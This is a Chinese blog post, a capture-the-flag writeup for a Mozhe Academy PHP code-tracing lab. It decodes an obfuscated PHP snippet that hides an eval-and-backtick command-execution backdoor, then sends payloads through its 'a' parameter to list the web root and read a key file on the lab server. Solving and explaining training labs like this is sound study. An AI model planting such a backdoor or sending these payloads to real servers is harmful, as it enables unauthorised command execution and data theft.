墨者学院 PHP代码分析溯源(第4题) 详解

今天继续给大家介绍CTF通关writeup,本文主要内容是墨者学院 PHP代码分析溯源(第4题)。

免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!

一、题目简介

今天,我们对墨者学院PHP代码分析溯源(第四题)进行学习,该题目地址为:https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe,打开后页面如下所示:
在这里插入图片描述
我们启动该靶场环境,打开后结果如下所示:
在这里插入图片描述

二、破解源码

从题目题设来看,我们需要做的第一步就是破解源码,我们先把题目中源代码复制下来,去掉最外层的eval函数后,添加echo函数,并将其复制为本地的PHP文件,文件内容如下所示:

<?php
echo gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&"));
?>

之后,我们搭建好本地PHP环境,然后尝试访问该页面,结果如下所示:
在这里插入图片描述
从上图中可以看出,上述源代码在解析后,最外层是一个eval()函数的代码执行函数,而内层使用了反引号将代码执行转化为了命令执行,我们可以使用任意方式提交参数a,作为命令执行的输入。

三、命令执行拿到key

接下来,我们就可以利用a参数来提交命令,进而获得key了。首先,我们先查看当前web系统所在目录,构造payload如下所示:

http://124.70.91.203:45975/f.php?a=pwd

结果如下所示:
在这里插入图片描述
从上图中可以看出,当前网页根目录是/var/www/html,之后,我们来查看一下根目录内部有什么文件,构造payload如下所示:

http://124.70.91.203:45975/f.php?a=ls%20/var/www/html

该payload执行后结果如下所示:
在这里插入图片描述
在得到根目录下的文件后,我们怀疑key_813517043132.php文件即隐藏着key值,因此,我们尝试打开访问该文件,构造payload如下所示:

http://124.70.91.203:45975/f.php?a=cat%20key_813517043132.php

该payload执行后,结果如下所示:
在这里插入图片描述
我们需要打开文件网页源代码,就可以查看到该文件中的key值了。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

永远是少年啊

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值